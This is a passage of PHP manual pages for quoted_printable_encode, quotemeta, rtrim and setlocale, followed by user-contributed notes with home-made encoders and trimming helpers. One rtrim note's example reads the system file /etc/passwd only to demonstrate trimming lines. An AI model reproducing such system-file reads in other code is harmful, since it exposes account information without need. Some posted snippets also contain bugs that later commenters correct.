 function imap_8bit($text) {
   return quoted_printable_encode($text);
 }
}

function quoted_printable_encode_character ( $matches ) {
   $character = $matches[0];
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );
   $newline = "=\r\n"; // '=' + CRLF (rule #4)
   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   $string = preg_replace ( '/(.{73}[^=]{0,3})/', '$1'.$newline, $string);
   return $string;
}
drm at melp dot nl 09-Feb-2005 03:32
A easier, improved way of encoding for quoted-printable transfer:

------
function quoted_printable_encode_character ( $matches ) {
   $character = end ( $matches );
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
      '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
      'quoted_printable_encode_character',
      $string
   );

   $newline = "=\r\n"; // '=' + CRLF (rule #4)

   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   preg_match_all ( '/.{73}([^=]{0,3})/', $string, $match ); // Rule #1
   return implode ( $newline, $match[0] );
}
-----
tamas dot tompa at kirowski dot com 20-Feb-2004 07:46
i have found a bug in pob at medienrecht dot NOSPAM dot org
's qp_enc function. in quoted printable messages need to convert the first pont in the lines too...
here is the fixed code:

function qp_enc( $input = "", $line_max = 76, $space_conv = false ) {

    $hex = array('0','1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F');
    $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
    $eol = "\r\n";
    $escape = "=";
    $output = "";

        while( list(, $line) = each($lines) ) {
                //$line = rtrim($line); // remove trailing white
space -> no =20\r\n necessary
                $linlen = strlen($line);
                $newline = "";
                for($i = 0; $i < $linlen; $i++) {
                        $c = substr( $line, $i, 1 );
                        $dec = ord( $c );
                        if ( ( $i == 0 ) && ( $dec == 46 ) ) { //
convert first point in the line into =2E
                                $c = "=2E";
                        }
                        if ( $dec == 32 ) {
                                if ( $i == ( $linlen - 1 ) ) { // convert
 space at eol only
                                        $c = "=20";
                                } else if ( $space_conv ) {
                                        $c = "=20";
                                }
                        } elseif ( ($dec == 61) || ($dec < 32 ) ||
($dec > 126) ) { // always encode "\t", which is *not* required
                                $h2 = floor($dec/16);
                                $h1 = floor($dec%16);
                                $c = $escape.$hex["$h2"].$hex["$h1"];
                        }
                        if ( (strlen($newline) + strlen($c)) >=
$line_max ) { // CRLF is not counted
                                $output .= $newline.$escape.$eol; //
soft line break; " =\r\n" is okay
                                $newline = "";
                                // check if newline first character will
be point or not
                                if ( $dec == 46 ) {
                                        $c = "=2E";
                                }
                        }
                        $newline .= $c;
                } // end of for
                $output .= $newline.$eol;
        } // end of while
        return trim($output);
}
pob at medienrecht dot NOSPAM dot org 18-Jul-2001 01:06
If you do not have access to imap_* and do not want to use
»$message = chunk_split( base64_encode($message) );«
because you want to be able to read the »source« of your mails, you might want to try this:
(any suggestions very welcome!)

function qp_enc($input = "quoted-printable encoding test string", $line_max = 76) {

    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
    $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
    $eol = "\r\n";
    $escape = "=";
    $output = "";

    while( list(, $line) = each($lines) ) {
        //$line = rtrim($line); // remove trailing white space -> no =20\r\n necessary
        $linlen = strlen($line);
        $newline = "";
        for($i = 0; $i < $linlen; $i++) {
            $c = substr($line, $i, 1);
            $dec = ord($c);
            if ( ($dec == 32) && ($i == ($linlen - 1)) ) { // convert space at eol only
                $c = "=20";
            } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
                $h2 = floor($dec/16); $h1 = floor($dec%16);
                $c = $escape.$hex["$h2"].$hex["$h1"];
            }
            if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
                $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
                $newline = "";
            }
            $newline .= $c;
        } // end of for
        $output .= $newline.$eol;
    }
    return trim($output);

}

$eight_bit = "\xA7 \xC4 \xD6 \xDC \xE4 \xF6 \xFC \xDF         =          xxx             yyy       zzz          \r\n"
            ." \xA7      \r \xC4 \n \xD6 \x09    ";
print $eight_bit."\r\n---------------\r\n";
$encoded = qp_enc($eight_bit);
print $encoded;
madmax at express dot ru 03-Aug-2000 05:41
Some  browser (netscape, for example)
send 8-bit quoted printable text like this:
=C5=DD=A3=D2=C1= =DA

"= =" means continuos word.
 php function not detect this situations and translate in string like:
 abcde=f
gustavf at spamstop dot com 07-Jul-2000 10:25
This function does not recognize lowercase letters as part of the Quoted Printable encoding. RFC 1521 specifies:

Uppercase letters must be used when sending hexadecimal data, though a robust implementation may choose to recognize lowercase letters on receipt.
printf
quoted_printable_encode
String Functions


Convert a 8 bit string to a quoted-printable string

quoted_printable_decode
quotemeta
String Functions
PHP Manual

quoted_printable_encode

(PHP 5 >= 5.3.0)

quoted_printable_encode — Convert a 8 bit string to a quoted-printable string

Description

string quoted_printable_encode ( string $str )

Returns a quoted printable string created according to » RFC2045, section 6.7.

This function is similar to imap_8bit(), except this one does not require the IMAP module to work.

Parameters

str

The input string.

Return Values

Returns the encoded string.

See Also

  • quoted_printable_decode() - Convert a quoted-printable string to an 8 bit string
  • iconv_mime_encode() - Composes a MIME header field

User Contributed Notes

ericth at NOSPAM dot pennyworth dot com 07-Oct-2011 01:46
I have re-written the PHP 5.3.8 function for quoted_printable_encode into PHP for use with PHP < 5.3.  Tested with PHP 5.2.11.

<?php
define('PHP_QPRINT_MAXL', 75);

function php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
            }
        }
    }

    return $ret;
}

?>
arnaudv6 15-Aug-2011 08:56
One will like to know and clearly read that RFC2045 specifies a line shall not exceed 75 characters.
Accordingly, quoted_printable_encode() splits line at this limit.
senacle 28-Jan-2011 06:24
If you need to encode the subject of your mail message, use as follow :

<?php
quoted_printable_encode($subject, 58, "subject");

    function quoted_printable_encode($input, $line_max = 75, $subject) {
        /**    The Quoted Printable encodes only with 75 characters per ligne.
        *    For encoding the subject of message, we must split the subject every 58 characters,
        *    because of adding =?iso-8859-1?Q? at the beginning and ?= at the end of each split.

            *    @param    string        $input            string to encode
            *    @param    int        $line_max            max number of char per ligne
            *    @param    string        $subject            specify if we encode a subject or any other string

            *    @access    public
            */
        $hex = array('0','1','2','3','4','5','6','7',
                            '8','9','A','B','C','D','E','F');
        $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
        $linebreak = "\r\n";
        /* the linebreak also counts as characters in the mime_qp_long_line
        * rule of spam-assassin */
        $line_max = $line_max - strlen($linebreak);
        $escape = "=";
        $output = "";
        $cur_conv_line = "";
        $length = 0;
        $whitespace_pos = 0;
        $addtl_chars = 0;

        // iterate lines
        for ($j=0; $j<count($lines); $j++) {
            $line = $lines[$j];
            $linlen = strlen($line);

            // iterate chars
            for ($i = 0; $i < $linlen; $i++) {
                $c = substr($line, $i, 1);
                $dec = ord($c);

                $length++;

                if ($dec == 32) {
                    // space occurring at end of line, need to encode
                    if (($i == ($linlen - 1))) {
                        $c = "=20";
                        $length += 2;
                    }

                    $addtl_chars = 0;
                    $whitespace_pos = $i;
                } else if ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) {
                    $h2 = floor($dec/16); $h1 = floor($dec%16);
                    $c = $escape . $hex["$h2"] . $hex["$h1"];
                    $length += 2;
                    $addtl_chars += 2;
                }

                // length for wordwrap exceeded, get a newline into the text
                if ($length >= $line_max) {
                    $cur_conv_line .= $c;

                    // read only up to the whitespace for the current line
                    $whitesp_diff = $i - $whitespace_pos + $addtl_chars;

                    /* the text after the whitespace will have to be read
                    * again ( + any additional characters that came into
                    * existence as a result of the encoding process after the whitespace)
                    *
                    * Also, do not start at 0, if there was *no* whitespace in
                    * the whole line */
                    if (($i + $addtl_chars) > $whitesp_diff) {
                        if ($subject == "subject") {
                            $output .= "=?ISO-8859-1?Q?".substr($cur_conv_line, 0,
                                    (strlen($cur_conv_line) - $whitesp_diff))."?=";
                        } else {
                            $output .= substr($cur_conv_line, 0,
                                    (strlen($cur_conv_line) - $whitesp_diff)).$linebreak;
                        }
                        $i = $i - $whitesp_diff + $addtl_chars;
                    } else {
                    /* emit continuation --mirabilos */
                        if ($subject == "subject") {
                            $output .= "=?ISO-8859-1?Q?".$cur_conv_line."?=";
                        } else {
                            $output .= $cur_conv_line. '=' . $linebreak;
                        }
                    }

                    $cur_conv_line = "";
                    $length = 0;
                    $whitespace_pos = 0;
                } else {
                // length for wordwrap not reached, continue reading
                    $cur_conv_line .= $c;
                }
            } // end of for

            $length = 0;
            $whitespace_pos = 0;
            if ($subject == "subject") {
                $output .= "=?ISO-8859-1?Q?".$cur_conv_line."?=";
            } else {
                $output .= $cur_conv_line;
                if ($j<=count($lines)-1) {
                    $output .= $linebreak;
                }
            }
            $cur_conv_line = "";

            } // end for

        return trim($output);
    } // end quoted_printable_encode
?>
Thorsten Glaser 24-Sep-2010 06:05
Two bugs:

1) your linebreak is wrong

                $linebreak = "\r\n";

2) continuation of lines with no whitespace is broken

                                        /*
                                         * the text after the whitespace will have to
                                         * be read again ( + any additional characters
                                         * that came into existence as a result of the
                                         * encoding process after the whitespace)
                                         *
                                         * Also, do not start at 0, if there was *no*
                                         * whitespace in the whole line
                                         */
                                        if (($i + $addtl_chars) > $whitesp_diff) {
                                                $output .= substr($cur_conv_line, 0,
                                                    (strlen($cur_conv_line) - $whitesp_diff)) .
                                                    $linebreak;
                                                $i = $i - $whitesp_diff + $addtl_chars;
                                        } else {
                                                /* emit continuation --mirabilos */
                                                $output .= $cur_conv_line .
                                                    '=' . $linebreak;
                                        }
tzangerl [dot] pdc {dot} kth dot se 09-Apr-2010 02:05
A function that QP-encodes an input string (written for PHP < 5.3) and
wordwraps it at the same time, in order to avoid classification according to the MIME QP LONG LINE rule of SpamAssassin.  Thanks for Matt Jeffers to point out errors in the below quoted_printable script!

<?php
function quoted_printable_encode($input, $line_max = 75) {
   $hex = array('0','1','2','3','4','5','6','7',
                          '8','9','A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $linebreak = "=0D=0A=\r\n";
   /* the linebreak also counts as characters in the mime_qp_long_line
    * rule of spam-assassin */
   $line_max = $line_max - strlen($linebreak);
   $escape = "=";
   $output = "";
   $cur_conv_line = "";
   $length = 0;
   $whitespace_pos = 0;
   $addtl_chars = 0;

   // iterate lines
   for ($j=0; $j<count($lines); $j++) {
     $line = $lines[$j];
     $linlen = strlen($line);

     // iterate chars
     for ($i = 0; $i < $linlen; $i++) {
       $c = substr($line, $i, 1);
       $dec = ord($c);

       $length++;

       if ($dec == 32) {
          // space occurring at end of line, need to encode
          if (($i == ($linlen - 1))) {
             $c = "=20";
             $length += 2;
          }

          $addtl_chars = 0;
          $whitespace_pos = $i;
       } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) {
          $h2 = floor($dec/16); $h1 = floor($dec%16);
          $c = $escape . $hex["$h2"] . $hex["$h1"];
          $length += 2;
          $addtl_chars += 2;
       }

       // length for wordwrap exceeded, get a newline into the text
       if ($length >= $line_max) {
         $cur_conv_line .= $c;

         // read only up to the whitespace for the current line
         $whitesp_diff = $i - $whitespace_pos + $addtl_chars;

        /* the text after the whitespace will have to be read
         * again ( + any additional characters that came into
         * existence as a result of the encoding process after the whitespace)
         *
         * Also, do not start at 0, if there was *no* whitespace in
         * the whole line */
         if (($i + $addtl_chars) > $whitesp_diff) {
            $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) -
                           $whitesp_diff)) . $linebreak;
            $i =  $i - $whitesp_diff + $addtl_chars;
          } else {
            $output .= $cur_conv_line . $linebreak;
          }

        $cur_conv_line = "";
        $length = 0;
        $whitespace_pos = 0;
      } else {
        // length for wordwrap not reached, continue reading
        $cur_conv_line .= $c;
      }
    } // end of for

    $length = 0;
    $whitespace_pos = 0;
    $output .= $cur_conv_line;
    $cur_conv_line = "";

    if ($j<=count($lines)-1) {
      $output .= $linebreak;
    }
  } // end for

  return trim($output);
} // end quoted_printable_encode
?>
quoted_printable_decode
quotemeta
String Functions


Quote meta characters

quoted_printable_encode
rtrim
String Functions
PHP Manual

quotemeta

(PHP 4, PHP 5)

quotemeta — Quote meta characters

Description

string quotemeta ( string $str )

Returns a version of str with a backslash character (\) before every character that is among these:

. \ + * ? [ ^ ] ( $ )

Parameters

str

The input string.

Return Values

Returns the string with meta characters quoted, or FALSE if an empty string is given as str.

Notes

Note: This function is binary-safe.

See Also

  • addslashes() - Quote string with slashes
  • addcslashes() - Quote string with slashes in a C style
  • htmlentities() - Convert all applicable characters to HTML entities
  • htmlspecialchars() - Convert special characters to HTML entities
  • nl2br() - Inserts HTML line breaks before all newlines in a string
  • stripslashes() - Un-quotes a quoted string
  • stripcslashes() - Un-quote string quoted with addcslashes
  • preg_match() - Perform a regular expression match
  • preg_quote() - Quote regular expression characters

User Contributed Notes

kumarkulandai at gmail dot com 26-Oct-2009 11:29
<?php
$str = "Hello world. (can you hear me?)";
echo quotemeta($str);
?>

The output of the code above will be:
Hello world\. \(can you hear me\?\)
George Adams 16-Feb-2006 08:57
Took me a while to realize this was NOT the command I wanted for escaping potentially harmful characters in a string that would be used as part of a system command.  Instead, I needed either escapeshellarg() (http://www.php.net/manual/en/function.escapeshellarg.php) or escapeshellcmd() (http://www.php.net/manual/en/function.escapeshellcmd.php)
15-May-2001 03:41
This function escapes characters that have special meaning in regular expressions.  preg_quote() <http://php.net/manual/en/function.preg-quote.php> has similar functionality, but is more powerful since it escapes more characters (including one user-specified character).
quoted_printable_encode
rtrim
String Functions


Strip whitespace (or other characters) from the end of a string

quotemeta
setlocale
String Functions
PHP Manual

rtrim

(PHP 4, PHP 5)

rtrim — Strip whitespace (or other characters) from the end of a string

Description

string rtrim ( string $str [, string $charlist ] )

This function returns a string with whitespace stripped from the end of str.

Without the second parameter, rtrim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.
  • "\t" (ASCII 9 (0x09)), a tab.
  • "\n" (ASCII 10 (0x0A)), a new line (line feed).
  • "\r" (ASCII 13 (0x0D)), a carriage return.
  • "\0" (ASCII 0 (0x00)), the NUL-byte.
  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Parameters

str

The input string.

charlist

You can also specify the characters you want to strip, by means of the charlist parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

Return Values

Returns the modified string.

Changelog

Version | Description
4.1.0 | The charlist parameter was added.

Examples

Example #1 Usage example of rtrim()

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = rtrim($text);
var_dump($trimmed);

$trimmed = rtrim($text, " \t.");
var_dump($trimmed);

$trimmed = rtrim($hello, "Hdle");
var_dump($trimmed);

// trim the ASCII control characters at the end of $binary
// (from 0 to 31 inclusive)
$clean = rtrim($binary, "\x00..\x1F");
var_dump($clean);

?>

The above example will output:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "        These are a few words :) ..."
string(26) "        These are a few words :)"
string(9) "Hello Wor"
string(15) "    Example string"

See Also

  • trim() - Strip whitespace (or other characters) from the beginning and end of a string
  • ltrim() - Strip whitespace (or other characters) from the beginning of a string

User Contributed Notes

NBS Studio 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
info at nbs-studio dot com 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
pinkgothic at gmail dot com 22-Jan-2010 05:36
I have an obsessive love for php's array functions given how extremely easy they've made complex string handling for me in various situations... so, have another string-rtrim() variant:

<?php

function strrtrim($message, $strip) {
    // break message apart by strip string
    $lines = explode($strip, $message);
    $last  = '';
    // pop off empty strings at the end
    do {
        $last = array_pop($lines);
    } while (empty($last) && (count($lines)));
    // re-assemble what remains
    return implode($strip, array_merge($lines, array($last)));
}

?>

Astonishingly, something I didn't expect, but: It completely compares to harmor's rstrtrim below, execution time wise. o_o Whee!
harmor 04-Apr-2008 03:05
I'm sure there's a better way to strip strings from the end of strings.

<?php
/**
 * Strip a string from the end of a string
 *
 * @param string $str      the input string
 * @param string $remove   OPTIONAL string to remove
 *
 * @return string the modified string
  */
function rstrtrim($str, $remove=null)
{
    $str    = (string)$str;
    $remove = (string)$remove;

    if(empty($remove))
    {
        return rtrim($str);
    }

    $len = strlen($remove);
    $offset = strlen($str)-$len;
    while($offset > 0 && $offset == strpos($str, $remove, $offset))
    {
        $str = substr($str, 0, $offset);
        $offset = strlen($str)-$len;
    }

    return rtrim($str);

} //End of function rstrtrim($str, $remove=null)

echo rstrtrim('Hello World!!!', '!')   .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!')  .'<br />'; //"Hello World!"
echo rstrtrim('Hello World!!!', '!!!') .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!!!').'<br />'; //"Hello World!!!"
?>
YAS 08-May-2006 06:01
To remove an unwanted character - example "." - if exist or not.

The example above doesn't include the case where there is no "."
If there is not "." at the example above the last word will be deleted.

Have fun with this code.

<?php
$text = "This string contains. some unwanted characters on the end .";
$text = trim($text);
$last = $text{strlen($text)-1};
if (!strcmp($last,"."))
{
  $text = rtrim($text, 'a..z');
  $text = rtrim($text, '.');
}
?>
gbelanger at exosecurity dot com 17-Feb-2006 02:31
True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim()

---

Here's a quick way to recursively trim every element of an array, useful after the file() function :

<?php
# Reads /etc/passwd file an trims newlines on each entry
$aFileContent = file("/etc/passwd");
foreach ($aFileContent as $sKey => $sValue) {
    $aFileContent[$sKey] = rtrim($sValue);
}

print_r($aFileContent);
?>
Unimagined at UnaimaginedDesigns dot Com 16-Jan-2005 12:49
I needed a way to trim all white space and then a few chosen strings from the end of a string.  So I wrote this class to reuse when stuff needs to be trimmed.

<?php

class cleaner {

function cleaner ($cuts,$pinfo) {
$ucut = "0";
$lcut = "0";
while ($cuts[$ucut]) {
$lcut++;
$ucut++;
}
$lcut = $lcut - 1;
$ucut = "0";
$rcut = "0";
$wiy = "start";

while ($wiy) {

if ($so) {
$ucut = "0";
$rcut = "0";
unset($so);
}

if (!$cuts[$ucut]) {
$so = "restart";
} else {
$pinfo = rtrim($pinfo);
$bpinfol = strlen($pinfo);
$tcut = $cuts[$ucut];
$pinfo = rtrim($pinfo,"$tcut");
$pinfol = strlen($pinfo);

    if ($bpinfol == $pinfol) {
    $rcut++;
    if ($rcut == $lcut) {
    unset($wiy);
    }
    $ucut++;
    } else {
    $so = "restart";
    }
}
}

$this->cleaner = $pinfo;
}

}

$pinfo = "Well... I'm really bored...<br /><br>&nbsp;    \n\t&nbsp;<br><br /><br>&nbsp;    \r\r&nbsp;<br>\r<br /><br>\r&nbsp;    &nbsp;\n<br>      <br />\t";

$cuts = array('\n','\r','\t',' ',' ','&nbsp;','<br />','<br>','<br/>');

$pinfo = new cleaner($cuts,$pinfo);
$pinfo = $pinfo->cleaner;

print $pinfo;

?>

That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string.  It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines.
todd at magnifisites dot com 19-Aug-2003 06:19
This shows how rtrim works when using the optional charlist parameter:
rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned.
<?php
  // Example 1:
  rtrim('This is a short short sentence', 'short sentence');
  // returns 'This is a'
  // If you were expecting the result to be 'This is a short ',
  // then you're wrong; the exact string, 'short sentence',
  // isn't matched.  Remember, character-by-character comparison!
  // Example 2:
  rtrim('This is a short short sentence', 'cents');
  // returns 'This is a short short '
?>
HW 05-Jun-2003 06:32
<?php
$text = "This string contains some unwanted characters on the end.";
$text1 = rtrim($text, 'a..z');
$text1 = rtrim($text1, '.');
echo $text1; // only the '.' is trimmed.
$text2 = rtrim($text, 'a..z.');
echo $text2; // The whole last word is trimmed.
?>
quotemeta
setlocale
String Functions


Set locale information

rtrim
sha1_file
String Functions
PHP Manual

setlocale

(PHP 4, PHP 5)

setlocale — Set locale information

Description

string setlocale ( int $category , string $locale [, string $... ] )
string setlocale ( int $category , array $locale )

Sets locale information.

Parameters

category

category is a named constant specifying the category of the functions affected by the locale setting:

  • LC_ALL for all of the below
  • LC_COLLATE for string comparison, see strcoll()
  • LC_CTYPE for character classification and conversion, for example strtoupper()
  • LC_MONETARY for localeconv()
  • LC_NUMERIC for decimal separator (See also localeconv())
  • LC_TIME for date and time formatting with strftime()
  • LC_MESSAGES for system responses (available if PHP was compiled with libintl)

locale

If locale is NULL or the empty string "", the locale names will be set from the values of environment variables with the same names as the above categories, or from "LANG".

If locale is "0", the locale setting is not affected, only the current setting is returned.

If locale is an array or followed by additional parameters then each array element or parameter is tried to be set as new locale until success. This is useful if a locale is known under different names on different systems or for providing a fallback for a possibly not available locale.

...

(Optional string or array parameters to try as locale settings until success.)

Note:

On Windows, setlocale(LC_ALL, '') sets the locale names from the system's regional/language settings (accessible via Control Panel).

Return Values

Returns the new current locale, or FALSE if the locale functionality is not implemented on your platform, the specified locale does not exist or the category name is invalid.

An invalid category name also causes a warning message. Category/locale names can be found in » RFC 1766 and » ISO 639. Different systems have different naming schemes for locales.

Note:

The return value of setlocale() depends on the system that PHP is running. It returns exactly what the system setlocale function returns.

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants.
4.3.0 | Passing multiple locales became possible.
4.2.0 | Passing category as a string is now deprecated, use the above constants instead. Passing them as a string (within quotes) will result in a warning message.

Examples

Example #1 setlocale() Examples

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nl_NL');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'de', 'ge');
echo "Preferred locale for german on this system is '$loc_de'";
?>

Example #2 setlocale() Examples for Windows

<?php
/* Set locale to Dutch */
setlocale(LC_ALL, 'nld_nld');

/* Output: vrijdag 22 december 1978 */
echo strftime("%A %d %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* try different possible locale names for german as of PHP 4.3.0 */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'deu_deu');
echo "Preferred locale for german on this system is '$loc_de'";
?>

Notes

Warning

The locale information is maintained per process, not per thread. If you are running PHP on a multithreaded server API like IIS or Apache on Windows, you may experience sudden changes in locale settings while a script is running, though the script itself never called setlocale(). This happens due to other scripts running in different threads of the same process at the same time, changing the process-wide locale using setlocale().

Tip

Windows users will find useful information about locale strings at Microsoft's MSDN website. Supported language strings can be found at » http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_language_strings.asp and supported country/region strings at » http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_country_strings.asp.

User Contributed Notes

russ at eatmymonkeydust dot com 08-Dec-2011 03:45
If you are looking for a getlocale() function simply pass 0 (zero) as the second parameter to setlocale().

Beware though if you use the category LC_ALL and some of the locales differ as a string containing all the locales is returned:

<?php
echo setlocale(LC_ALL, 0);

// LC_CTYPE=en_US.UTF-8;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;LC_NAME=C;
// LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

echo setlocale(LC_CTYPE, 0);

// en_US.UTF-8

setlocale(LC_ALL, "en_US.UTF-8");
echo setlocale(LC_ALL, 0);

// en_US.UTF-8

?>

If you are looking to store and reset the locales you could do something like this:

<?php

$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, "nb_NO.utf8");

// Do something

foreach ($originalLocales as $localeSetting) {
  if (strpos($localeSetting, "=") !== false) {
    list ($category, $locale) = explode("=", $localeSetting);
  }
  else {
    $category = LC_ALL;
    $locale   = $localeSetting;
  }
  setlocale($category, $locale);
}

?>

The above works here (Ubuntu Linux) but as the setlocale() function is just wrapping the equivalent system calls, your mileage may vary on the result.
ts at websafe dot pl 09-Oct-2011 05:54
If Your linux box returns false on setlocale (so setlocale is not working as expected):

var_dump(setlocale(LC_TIME, 'fr_FR.UTF8', 'fr.UTF8', 'fr_FR.UTF-8', 'fr.UTF-8'));

make sure the glibc package is installed :-)
phcorp 26-Jul-2011 06:16
To find the locale of a Unix system:
<?php system('locale -a') ?>
flavioacvalverde at gmail dot com 15-Jun-2011 09:28
For Portugal I had to use

<?php setlocale(LC_ALL, 'Portuguese_Portugal.1252'); ?>

using php with IIS on Windows server.
tomas dot hampl at gmail dot com 23-Apr-2011 01:35
On Linux, setlocale() depends on the installed locales. To see which locales are available to PHP, run this from the terminal:

"locale -a"

Provided list are all locales that are available on your server for PHP to use. To add a new one, run

locale-gen <locale name> (this may need sudo / root permissions), for example to add a Czech locale, run something like this:

"sudo locale-gen cs_CZ.utf8"

Then you can use this locale declaration:

setlocale(LC_ALL, 'cs_CZ.utf8');
leif at neland dot dk 16-Aug-2010 04:38
Regarding dash'es in locale, it appears they should be omitted entirely.

In /etc/locale.gen I have

da_DK.ISO-8859-15 ISO-8859-15

but locale -a gives

da_DK.iso885915

which is the format setlocale()  wants.

(Debian)
garygendron at yahoo dot com 28-Jun-2010 08:04
For a php Mysql query, you could also use, for french canadian, in this example :

$query = 'SET lc_time_names = "fr_CA"';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT @@lc_time_names';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT id, created, YEAR(created) as year, MONTH(created) as month,' .
' CONCAT_WS(" ", MONTHNAME(created), YEAR(created)) as archive' .
' FROM #__TABLE as e' .
' GROUP BY archive' .
' ORDER BY id DESC';

Your data will be displayed in any locale setting you want. You may even $_GET[lc_time_name] from your multilanguage website.
Omer Sabic 21-Mar-2010 07:27
On Linux/Apache, when you install and try to use a new locale, the setlocale() function with the new locale will fail sometimes, but not always. To furthermore complicate, setlocale() will always complete with any of the previously installed locales. This would seem a really weird behaviour, which you can fix by restarting Apache, as Kari Sderholm aka Haprog mentioned, but I felt it needed to be properly pointed out.
Kari Sderholm aka Haprog 16-May-2009 04:28
It took me a while to figure out how to get a Finnish locale correctly set on Ubuntu Server with Apache2 and PHP5.

At first the output for "locale -a" was this:
C
en_US.utf8
POSIX

I had to install a finnish language pack with
"sudo apt-get install language-pack-fi-base"

Now the output for "locale -a" is:
C
en_US.utf8
fi_FI.utf8
POSIX

The last thing you need to do after installing the correct language pack is restart Apache with "sudo apache2ctl restart". The locale "fi_FI.utf8" can then be used in PHP5 after restarting Apache.

For setting Finnish timezone and locale in PHP use:
<?php
date_default_timezone_set('Europe/Helsinki');
setlocale(LC_ALL, array('fi_FI.UTF-8','fi_FI@euro','fi_FI','finnish'));
?>
wisborg 27-Apr-2009 05:06
It is correct as stated below that it is common that the UTF-8 should be used without the dash. However on some systems (e.g. MacOS 10.4) the dash is essential.
brice/axice/be 20-Feb-2009 05:19
Pay attention to the syntax.
- UTF8 without dash ('-')
- locale.codeset and not locale-codeset.

Stupid newbie error but worth knowing them when starting with gettext.

<?php
$codeset = "UTF8";  // warning ! not UTF-8 with dash '-'

// for windows compatibility (e.g. xampp) : theses 3 lines are useless for linux systems

putenv('LANG='.$lang.'.'.$codeset);
putenv('LANGUAGE='.$lang.'.'.$codeset);
bind_textdomain_codeset('mydomain', $codeset);

// set locale
bindtextdomain('mydomain', ABSPATH.'/locale/');
setlocale(LC_ALL, $lang.'.'.$codeset);
textdomain('mydomain');
?>

where directory structure of locale is (for example) :
locale/fr_FR/LC_MESSAGES/mydomain.mo
locale/en_US/LC_MESSAGES/mydomain.mo

and ABSPATH is the absolute path to the locale dir

further note, under linux systems, it seems to be necessary to create the locale at os level using 'locale-gen'.
bardouty at gmail dot com 06-Jan-2009 03:44
